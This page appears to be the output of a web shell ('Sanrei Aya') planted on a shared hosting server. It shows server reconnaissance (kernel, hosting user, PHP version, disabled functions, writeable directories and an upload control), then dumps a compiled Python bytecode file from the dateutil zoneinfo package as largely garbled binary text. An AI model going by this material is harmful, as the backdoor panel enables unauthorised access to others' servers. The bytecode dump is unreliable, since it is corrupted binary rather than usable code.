Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /usr/local/lib/python3.9/site-packages/dateutil/zoneinfo/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/lib/python3.9/site-packages/dateutil/zoneinfo/__pycache__/__init__.cpython-39.pyc
a

��Sh�@s�ddlZddlZddlmZddlmZddlmZddlm	Z
gd�ZdZdZ
Gd	d
�d
e
�Z	dd�ZGd
d�de�ZgZddd�Zdd�Zdd�ZdS)�N)�TarFile)�get_data)�BytesIO)�tzfile)�get_zonefile_instance�gettz�gettz_db_metadatazdateutil-zoneinfo.tar.gz�METADATAc@seZdZdd�ZdS)rcCst|jffS)N)r�	_filename��self�r
�D/usr/local/lib/python3.9/site-packages/dateutil/zoneinfo/__init__.py�
__reduce__sztzfile.__reduce__N)�__name__�
__module__�__qualname__rr
r
r
rrsrc
CsRztttt��WStyL}z$t�d�|j|j	��WYd}~dSd}~00dS)NzI/O error({0}): {1})
rrr�ZONEFILENAME�IOError�warnings�warn�format�errno�strerror)�er
r
r�getzoneinfofile_streams
rc@s eZdZddd�Zddd�ZdS)�ZoneInfoFileNc	s�|dur�tj|d�����fdd����D��_�fdd����D�}�j�|�z.����t��}|���	d�}t
�|��_Wnt
y�d�_Yn0Wd�q�1s�0Yni�_d�_dS)N)�fileobjcs6i|].}|��r|jtkr|jt��|�|jd��qS))�filename)�isfile�name�METADATA_FNr�extractfile)�.0�zf)�tfr
r�
<dictcomp>"s�z)ZoneInfoFile.__init__.<locals>.<dictcomp>cs,i|]$}|��s|��r|j�j|j�qSr
)�islnk�issymr �zones�linkname)r#Zzlrr
rr&'s�zUTF-8)r�open�
getmembersr)�updater"�	getmemberr!�read�decode�json�loads�metadata�KeyError)rZzonefile_stream�linksZ
metadata_jsonZmetadata_strr
)rr%r�__init__s"
�
�,zZoneInfoFile.__init__cCs|j�||�S)ak
        Wrapper for :func:`ZoneInfoFile.zones.get`. This is a convenience method
        for retrieving zones from the zone dictionary.

        :param name:
            The name of the zone to retrieve. (Generally IANA zone names)

        :param default:
            The value to return in the event of a missing key.

        .. versionadded:: 2.6.0

        )r)�get)rr �defaultr
r
rr76szZoneInfoFile.get)N)N)rrrr6r7r
r
r
rrs
rFcCs2|r
d}nttdd�}|dur.tt��}|t_|S)a%
    This is a convenience function which provides a :class:`ZoneInfoFile`
    instance using the data provided by the ``dateutil`` package. By default, it
    caches a single instance of the ZoneInfoFile object and returns that.

    :param new_instance:
        If ``True``, a new instance of :class:`ZoneInfoFile` is instantiated and
        used as the cached instance for the next call. Otherwise, new instances
        are created only as necessary.

    :return:
        Returns a :class:`ZoneInfoFile` object.

    .. versionadded:: 2.6
    N�_cached_instance)�getattrrrrr9)Znew_instanceZzifr
r
rrPs
rcCs8t�dt�tt�dkr(t�tt���tdj�	|�S)a+
    This retrieves a time zone from the local zoneinfo tarball that is packaged
    with dateutil.

    :param name:
        An IANA-style time zone name, as found in the zoneinfo file.

    :return:
        Returns a :class:`dateutil.tz.tzfile` time zone object.

    .. warning::
        It is generally inadvisable to use this function, and it is only
        provided for API compatibility with earlier versions. This is *not*
        equivalent to ``dateutil.tz.gettz()``, which selects an appropriate
        time zone based on the inputs, favoring system zoneinfo. This is ONLY
        for accessing the dateutil-specific zoneinfo (which may be out of
        date compared to the system zoneinfo).

    .. deprecated:: 2.6
        If you need to use a specific zoneinfofile over the system zoneinfo,
        instantiate a :class:`dateutil.zoneinfo.ZoneInfoFile` object and call
        :func:`dateutil.zoneinfo.ZoneInfoFile.get(name)` instead.

        Use :func:`get_zonefile_instance` to retrieve an instance of the
        dateutil-provided zoneinfo.
    z�zoneinfo.gettz() will be removed in future versions, to use the dateutil-provided zoneinfo files, instantiate a ZoneInfoFile object and use ZoneInfoFile.zones.get() instead. See the documentation for details.r)
rr�DeprecationWarning�len�_CLASS_ZONE_INSTANCE�appendrrr)r7)r r
r
rrms�rcCs2t�dt�tt�dkr(t�tt���tdjS)a! Get the zonefile metadata

    See `zonefile_metadata`_

    :returns:
        A dictionary with the database metadata

    .. deprecated:: 2.6
        See deprecation warning in :func:`zoneinfo.gettz`. To get metadata,
        query the attribute ``zoneinfo.ZoneInfoFile.metadata``.
    z�zoneinfo.gettz_db_metadata() will be removed in future versions, to use the dateutil-provided zoneinfo files, ZoneInfoFile object and query the 'metadata' attribute instead. See the documentation for details.r)	rrr;r<r=r>rrr3r
r
r
rr�s�r)F)rr1�tarfiler�pkgutilr�iorZdateutil.tzrZ_tzfile�__all__rr!r�objectrr=rrrr
r
r
r�<module>s/
&

Yohohohohohooho | Sanrei Aya